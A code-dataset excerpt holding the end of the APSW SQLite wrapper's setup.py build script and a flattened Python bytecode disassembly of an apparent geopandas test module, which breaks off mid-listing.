"icu-uc", "icu-i18n"], **skw ).stdout.strip() with contextlib.suppress(subprocess.CalledProcessError): ldflags = subprocess.run( ["pkg-config", "--libs", "icu-uc", "icu-i18n"], **skw ).stdout.strip() if cflags or ldflags: return IcuConfig(tool="pkg-config", cflags=cflags, ldflags=ldflags) if shutil.which("icu-config"): cflags = subprocess.run(["icu-config", "--cppflags"], **skw).stdout.strip() ldflags = subprocess.run(["icu-config", "--ldflags"], **skw).stdout.strip() return IcuConfig(tool="icu-config", cflags=cflags, ldflags=ldflags) return None depends = [f for f in glob.glob("src/*.[ch]") if f != "src/apsw.c"] if __name__ == "__main__": setup( name="apsw", version=version, python_requires=">=3.8", description="Another Python SQLite Wrapper", long_description=pathlib.Path("README.rst").read_text(encoding="utf8"), long_description_content_type="text/x-rst", author="Roger Binns", author_email="[email protected]", url="https://github.com/rogerbinns/apsw/", project_urls=project_urls, classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved", "Programming Language :: C", "Programming Language :: Python :: 3", "Topic :: Database :: Front-Ends", ], keywords=["database", "sqlite"], license="OSI Approved", platforms="any", ext_modules=[ Extension( "apsw.__init__", ["src/apsw.c"], include_dirs=include_dirs, library_dirs=library_dirs, libraries=libraries, define_macros=define_macros, depends=depends, ) ], packages=["apsw"], package_data={"apsw": ["__init__.pyi", "py.typed"]}, cmdclass={ "test": run_tests, "build_test_extension": build_test_extension, "fetch": fetch, "build_ext": apsw_build_ext, "build": apsw_build, "sdist": apsw_sdist, }, )
data/apsw-3.45.1.0/setup.py
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9,010
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST ('Version',) IMPORT_NAME packaging.version IMPORT_FROM Version STORE_NAME Version POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('assert_array_equal',) IMPORT_NAME numpy.testing IMPORT_FROM assert_array_equal STORE_NAME assert_array_equal POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME shapely STORE_NAME shapely LOAD_CONST 0 LOAD_CONST ('Point', 'GeometryCollection', 'LineString', 'LinearRing') IMPORT_NAME shapely.geometry IMPORT_FROM Point STORE_NAME Point IMPORT_FROM GeometryCollection STORE_NAME GeometryCollection IMPORT_FROM LineString STORE_NAME LineString IMPORT_FROM LinearRing STORE_NAME LinearRing POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME geopandas STORE_NAME geopandas LOAD_CONST 0 LOAD_CONST ('GeoDataFrame', 'GeoSeries') IMPORT_NAME geopandas IMPORT_FROM GeoDataFrame STORE_NAME GeoDataFrame IMPORT_FROM GeoSeries STORE_NAME GeoSeries POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME geopandas._compat IMPORT_FROM _compat STORE_NAME compat POP_TOP LOAD_CONST 0 LOAD_CONST ('from_shapely',) IMPORT_NAME geopandas.array IMPORT_FROM from_shapely STORE_NAME from_shapely POP_TOP LOAD_CONST 0 LOAD_CONST ('assert_geodataframe_equal', 'assert_geoseries_equal') IMPORT_NAME geopandas.testing IMPORT_FROM assert_geodataframe_equal STORE_NAME assert_geodataframe_equal IMPORT_FROM assert_geoseries_equal STORE_NAME assert_geoseries_equal POP_TOP LOAD_CONST 0 LOAD_CONST ('assert_frame_equal', 'assert_series_equal') IMPORT_NAME pandas.testing IMPORT_FROM assert_frame_equal STORE_NAME assert_frame_equal IMPORT_FROM assert_series_equal STORE_NAME assert_series_equal POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object s at 0x7faa51f69540, file "f.py", line 22> LOAD_CONST 's' MAKE_FUNCTION CALL_FUNCTION STORE_NAME s LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object df at 0x7faa51f69c90, file "f.py", line 27> LOAD_CONST 'df' MAKE_FUNCTION CALL_FUNCTION STORE_NAME df LOAD_CONST <code object test_repr at 0x7faa528b0e40, file "f.py", line 38> LOAD_CONST 'test_repr' MAKE_FUNCTION STORE_NAME test_repr LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skipif LOAD_NAME shapely LOAD_ATTR geos LOAD_ATTR geos_version LOAD_CONST (3, 9, 0) COMPARE_OP < LOAD_CONST 'requires GEOS>=3.9' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_CONST <code object test_repr_boxed_display_precision at 0x7faa528b08a0, file "f.py", line 44> LOAD_CONST 'test_repr_boxed_display_precision' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_repr_boxed_display_precision LOAD_CONST <code object test_repr_all_missing at 0x7faa528b0810, file "f.py", line 69> LOAD_CONST 'test_repr_all_missing' MAKE_FUNCTION STORE_NAME test_repr_all_missing LOAD_CONST <code object test_repr_empty at 0x7faa528b0c00, file "f.py", line 77> LOAD_CONST 'test_repr_empty' MAKE_FUNCTION STORE_NAME test_repr_empty LOAD_CONST <code object test_repr_linearring at 0x7faa528b0780, file "f.py", line 85> LOAD_CONST 'test_repr_linearring' MAKE_FUNCTION STORE_NAME test_repr_linearring LOAD_CONST <code object test_indexing at 0x7faa528b0300, file "f.py", line 99> LOAD_CONST 'test_indexing' MAKE_FUNCTION STORE_NAME test_indexing LOAD_CONST <code object test_reindex at 0x7faa528b0930, file "f.py", line 130> LOAD_CONST 'test_reindex' MAKE_FUNCTION STORE_NAME test_reindex LOAD_CONST <code object test_take at 0x7faa528b04b0, file "f.py", line 148> LOAD_CONST 'test_take' MAKE_FUNCTION STORE_NAME test_take LOAD_CONST <code object test_take_empty at 0x7faa528b0b70, file "f.py", line 173> LOAD_CONST 'test_take_empty' MAKE_FUNCTION STORE_NAME test_take_empty LOAD_CONST <code object test_assignment at 0x7faa528b0db0, file "f.py", line 189> LOAD_CONST 'test_assignment' MAKE_FUNCTION STORE_NAME test_assignment LOAD_CONST <code object test_assign at 0x7faa528b0ed0, file "f.py", line 213> LOAD_CONST 'test_assign' MAKE_FUNCTION STORE_NAME test_assign LOAD_CONST <code object test_astype at 0x7faa51b82db0, file "f.py", line 221> LOAD_CONST 'test_astype' MAKE_FUNCTION STORE_NAME test_astype LOAD_CONST <code object test_astype_invalid_geodataframe at 0x7faa51b82d20, file "f.py", line 251> LOAD_CONST 'test_astype_invalid_geodataframe' MAKE_FUNCTION STORE_NAME test_astype_invalid_geodataframe LOAD_CONST <code object test_convert_dtypes at 0x7faa51b82300, file "f.py", line 258> LOAD_CONST 'test_convert_dtypes' MAKE_FUNCTION STORE_NAME test_convert_dtypes LOAD_CONST <code object test_to_csv at 0x7faa51b82150, file "f.py", line 281> LOAD_CONST 'test_to_csv' MAKE_FUNCTION STORE_NAME test_to_csv LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD filterwarnings LOAD_CONST 'ignore:Dropping of nuisance columns in DataFrame reductions' CALL_METHOD LOAD_CONST <code object test_numerical_operations at 0x7faa51b820c0, file "f.py", line 288> LOAD_CONST 'test_numerical_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_numerical_operations LOAD_CONST <code object test_where at 0x7faa51b82c00, file "f.py", line 319> LOAD_CONST 'test_where' MAKE_FUNCTION STORE_NAME test_where LOAD_CONST <code object test_select_dtypes at 0x7faa51b82780, file "f.py", line 325> LOAD_CONST 'test_select_dtypes' MAKE_FUNCTION STORE_NAME test_select_dtypes LOAD_CONST <code object test_equals at 0x7faa51b82ed0, file "f.py", line 331> LOAD_CONST 'test_equals' MAKE_FUNCTION STORE_NAME test_equals LOAD_CONST <code object test_fillna_scalar at 0x7faa51b82c90, file "f.py", line 346> LOAD_CONST 'test_fillna_scalar' MAKE_FUNCTION STORE_NAME test_fillna_scalar LOAD_CONST <code object test_fillna_series at 0x7faa51b82390, file "f.py", line 368> LOAD_CONST 'test_fillna_series' MAKE_FUNCTION STORE_NAME test_fillna_series LOAD_CONST <code object test_fillna_inplace at 0x7faa51b82420, file "f.py", line 385> LOAD_CONST 'test_fillna_inplace' MAKE_FUNCTION STORE_NAME test_fillna_inplace LOAD_CONST <code object test_dropna at 0x7faa51b82030, file "f.py", line 394> LOAD_CONST 'test_dropna' MAKE_FUNCTION STORE_NAME test_dropna LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'NA' LOAD_CONST None LOAD_NAME np LOAD_ATTR nan BUILD_LIST CALL_METHOD LOAD_CONST <code object test_isna at 0x7faa51b82e40, file "f.py", line 401> LOAD_CONST 'test_isna' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_isna LOAD_CONST <code object test_any_all at 0x7faa51b82270, file "f.py", line 416> LOAD_CONST 'test_any_all' MAKE_FUNCTION STORE_NAME test_any_all LOAD_CONST <code object test_sort_values at 0x7faa51b821e0, file "f.py", line 431> LOAD_CONST 'test_sort_values' MAKE_FUNCTION STORE_NAME test_sort_values LOAD_CONST <code object test_sort_values_empty_missing at 0x7faa75826930, file "f.py", line 441> LOAD_CONST 'test_sort_values_empty_missing' MAKE_FUNCTION STORE_NAME test_sort_values_empty_missing LOAD_CONST <code object test_unique at 0x7faa75826db0, file "f.py", line 468> LOAD_CONST 'test_unique' MAKE_FUNCTION STORE_NAME test_unique LOAD_CONST <code object pd14_compat_index at 0x7faa75826540, file "f.py", line 474> LOAD_CONST 'pd14_compat_index' MAKE_FUNCTION STORE_NAME pd14_compat_index LOAD_CONST <code object test_value_counts at 0x7faa75826f60, file "f.py", line 481> LOAD_CONST 'test_value_counts' MAKE_FUNCTION STORE_NAME test_value_counts LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST False LOAD_CONST ('strict',) CALL_FUNCTION LOAD_CONST <code object test_drop_duplicates_series at 0x7faa75826c90, file "f.py", line 519> LOAD_CONST 'test_drop_duplicates_series' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_drop_duplicates_series LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST False LOAD_CONST ('strict',) CALL_FUNCTION LOAD_CONST <code object test_drop_duplicates_frame at 0x7faa758261e0, file "f.py", line 526> LOAD_CONST 'test_drop_duplicates_frame' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_drop_duplicates_frame LOAD_CONST <code object test_groupby at 0x7faa758266f0, file "f.py", line 538> LOAD_CONST 'test_groupby' MAKE_FUNCTION STORE_NAME test_groupby LOAD_CONST <code object test_groupby_groups at 0x7faa75826810, file "f.py", line 569> LOAD_CONST 'test_groupby_groups' MAKE_FUNCTION STORE_NAME test_groupby_groups LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_no_sindex LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'crs' LOAD_CONST None LOAD_CONST 'EPSG:4326' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'geometry_name' LOAD_CONST 'geometry' LOAD_CONST 'geom' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_groupby_metadata at 0x7faa75826b70, file "f.py", line 577> LOAD_CONST 'test_groupby_metadata' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_groupby_metadata LOAD_CONST <code object test_apply at 0x7faa75826420, file "f.py", line 630> LOAD_CONST 'test_apply' MAKE_FUNCTION STORE_NAME test_apply LOAD_CONST <code object test_apply_loc_len1 at 0x7faa75826660, file "f.py", line 648> LOAD_CONST 'test_apply_loc_len1' MAKE_FUNCTION STORE_NAME test_apply_loc_len1 LOAD_CONST <code object test_apply_convert_dtypes_keyword at 0x7faa74756270, file "f.py", line 655> LOAD_CONST 'test_apply_convert_dtypes_keyword' MAKE_FUNCTION STORE_NAME test_apply_convert_dtypes_keyword LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'crs' LOAD_CONST None LOAD_CONST 'EPSG:4326' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_apply_no_geometry_result at 0x7faa74756c00, file "f.py", line 672> LOAD_CONST 'test_apply_no_geometry_result' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_apply_no_geometry_result LOAD_CONST <code object test_apply_preserves_geom_col_name at 0x7faa747566f0, file "f.py", line 686> LOAD_CONST 'test_apply_preserves_geom_col_name' MAKE_FUNCTION STORE_NAME test_apply_preserves_geom_col_name LOAD_CONST <code object test_df_apply_returning_series at 0x7faa74756780, file "f.py", line 692> LOAD_CONST 'test_df_apply_returning_series' MAKE_FUNCTION STORE_NAME test_df_apply_returning_series LOAD_CONST <code object test_df_apply_geometry_dtypes at 0x7faa74756930, file "f.py", line 707> LOAD_CONST 'test_df_apply_geometry_dtypes' MAKE_FUNCTION STORE_NAME test_df_apply_geometry_dtypes LOAD_CONST <code object test_pivot at 0x7faa74756a50, file "f.py", line 724> LOAD_CONST 'test_pivot' MAKE_FUNCTION STORE_NAME test_pivot LOAD_CONST <code object test_preserve_attrs at 0x7faa74756d20, file "f.py", line 730> LOAD_CONST 'test_preserve_attrs' MAKE_FUNCTION STORE_NAME test_preserve_attrs LOAD_CONST <code object test_preserve_flags at 0x7faa747561e0, file "f.py", line 745> LOAD_CONST 'test_preserve_flags' MAKE_FUNCTION STORE_NAME test_preserve_flags LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_CONST <code object <listcomp> at 0x7faa51f694b0, file "f.py", line 24> LOAD_CONST 's.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST x STORE_FAST y LOAD_GLOBAL Point LOAD_FAST x LOAD_FAST y CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL GeoDataFrame LOAD_CONST <code object <listcomp> at 0x7faa51f69b70, file "f.py", line 31> LOAD_CONST 'df.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_GLOBAL np LOAD_ATTR arange LOAD_CONST 3 LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL np LOAD_ATTR array LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST ('geometry', 'value1', 'value2') BUILD_CONST_KEY_MAP CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST x LOAD_GLOBAL Point LOAD_FAST x LOAD_FAST x CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'POINT' LOAD_GLOBAL repr LOAD_FAST s CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'POINT' LOAD_GLOBAL repr LOAD_FAST df CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'POINT' LOAD_FAST df LOAD_METHOD _repr_html_ CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Point LOAD_CONST 10.123456789 LOAD_CONST 50.123456789 CALL_FUNCTION STORE_FAST p1 LOAD_GLOBAL Point LOAD_CONST 4.123456789 LOAD_CONST 20.123456789 CALL_FUNCTION STORE_FAST p2 LOAD_GLOBAL GeoSeries LOAD_FAST p1 LOAD_FAST p2 LOAD_CONST None BUILD_LIST CALL_FUNCTION STORE_FAST s1 LOAD_CONST 'POINT (10.12346 50.12346)' LOAD_GLOBAL repr LOAD_FAST s1 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_FAST p1 LOAD_FAST p2 BUILD_LIST LOAD_CONST 4326 LOAD_CONST ('crs',) CALL_FUNCTION STORE_FAST s3 LOAD_CONST 'POINT (10.12346 50.12346)' LOAD_GLOBAL repr LOAD_FAST s3 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Point LOAD_CONST 3000.123456789 LOAD_CONST 3000.123456789 CALL_FUNCTION STORE_FAST p1 LOAD_GLOBAL Point LOAD_CONST 4000.123456789 LOAD_CONST 4000.123456789 CALL_FUNCTION STORE_FAST p2 LOAD_GLOBAL GeoSeries LOAD_FAST p1 LOAD_FAST p2 LOAD_CONST None BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_CONST 'POINT (3000.123 3000.123)' LOAD_GLOBAL repr LOAD_FAST s2 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_FAST p1 LOAD_FAST p2 BUILD_LIST LOAD_CONST 3857 LOAD_CONST ('crs',) CALL_FUNCTION STORE_FAST s4 LOAD_CONST 'POINT (3000.123 3000.123)' LOAD_GLOBAL repr LOAD_FAST s4 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_GLOBAL geopandas LOAD_ATTR options STORE_ATTR display_precision LOAD_CONST 'POINT (10.1 50.1)' LOAD_GLOBAL repr LOAD_FAST s1 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 9 LOAD_GLOBAL geopandas LOAD_ATTR options STORE_ATTR display_precision LOAD_CONST 'POINT (10.123456789 50.123456789)' LOAD_GLOBAL repr LOAD_FAST s1 CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_CONST 'None' LOAD_GLOBAL repr LOAD_FAST s CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoDataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_FAST s LOAD_CONST ('a', 'geometry') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_FAST df LOAD_CONST 'None' LOAD_GLOBAL repr LOAD_FAST df CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'geometry' LOAD_FAST df LOAD_METHOD _repr_html_ CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_GLOBAL repr LOAD_FAST s CALL_FUNCTION LOAD_CONST 'GeoSeries([], dtype: geometry)' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoDataFrame BUILD_LIST LOAD_FAST s LOAD_CONST ('a', 'geometry') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_FAST df LOAD_CONST 'Empty GeoDataFrame' LOAD_GLOBAL repr LOAD_FAST df CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'geometry' LOAD_FAST df LOAD_METHOD _repr_html_ CALL_METHOD COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL GeoSeries LOAD_GLOBAL LinearRing LOAD_CONST (0, 0) LOAD_CONST (1, 1) LOAD_CONST (1, -1) BUILD_LIST CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s LOAD_CONST 'LINEARRING' LOAD_GLOBAL str LOAD_FAST s LOAD_ATTR iloc LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'LINEARRING' LOAD_GLOBAL str LOAD_FAST s CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL LineString LOAD_CONST (0, 0) LOAD_CONST (1, 1) LOAD_CONST (1, -1) BUILD_LIST CALL_FUNCTION LOAD_GLOBAL LineString LOAD_CONST (0, 0) LOAD_CONST (1, 1) LOAD_CONST (1, -1) LOAD_CONST (0, 0) BUILD_LIST CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST s2 LOAD_CONST 'LINEARRING' LOAD_GLOBAL str LOAD_FAST s2 CALL_FUNCTION COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION STORE_FAST exp LOAD_FAST s LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR loc LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR iloc LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_ATTR loc LOAD_CONST (1, 'geometry') BINARY_SUBSCR LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_ATTR iloc LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_FAST exp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_ATTR loc LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_ATTR iloc LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_METHOD reindex LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST CALL_METHOD LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST df LOAD_ATTR loc LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST LOAD_CONST 'geometry' BUILD_TUPLE BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_series_equal LOAD_FAST df LOAD_ATTR iloc LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR LOAD_FAST exp LOAD_CONST False LOAD_CONST False LOAD_CONST ('check_series_type', 'check_names') CALL_FUNCTION POP_TOP LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST True LOAD_CONST False LOAD_CONST True BUILD_LIST CALL_METHOD STORE_FAST mask LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_FAST mask BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST s LOAD_ATTR loc LOAD_FAST mask BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST df LOAD_FAST mask BINARY_SUBSCR LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_geoseries_equal LOAD_FAST df LOAD_ATTR loc LOAD_FAST mask LOAD_CONST 'geometry' BUILD_TUPLE BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_FAST s STORE_ATTR index LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION BUILD_LIST LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_series_equal LOAD_FAST s LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_series_equal LOAD_FAST s LOAD_ATTR iloc LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_series_equal LOAD_FAST s LOAD_ATTR loc LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST s LOAD_METHOD reindex LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST res LOAD_GLOBAL GeoSeries LOAD_GLOBAL Point LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Point LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION LOAD_CONST None BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST exp LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR reindex LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST ('index',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL assert_geoseries_equal LOAD_FAST res LOAD_ATTR geometry LOAD_FAST exp CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR reindex LOAD_CONST 'value1' LOAD_CONST 'geometry' BUILD_LIST LOAD_CONST ('columns',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GeoDataFrame CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST res LOAD_ATTR geometry LOAD_GLOBAL GeoSeries CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_FAST df LOAD_ATTR reindex LOAD_CONST 'value1' LOAD_CONST 'value2' BUILD_LIST LOAD_CONST ('columns',) CALL_FUNCTION STORE_FAST res LOAD_GLOBAL type LOAD_FAST res CALL_FUNCTION LOAD_GLOBAL pd LOAD_ATTR DataFrame COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_frame_equal LOAD_FAST res LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'value2' BUILD_LIST BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST CALL_METHOD STORE_FAST inds LOAD_FAST s LOAD_METHOD take LOAD_FAST inds CALL_METHOD STORE_FAST result LOAD_FAST s LOAD_ATTR iloc LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST BINARY_SUBSCR STORE_FAST expected LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GeoSeries CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL 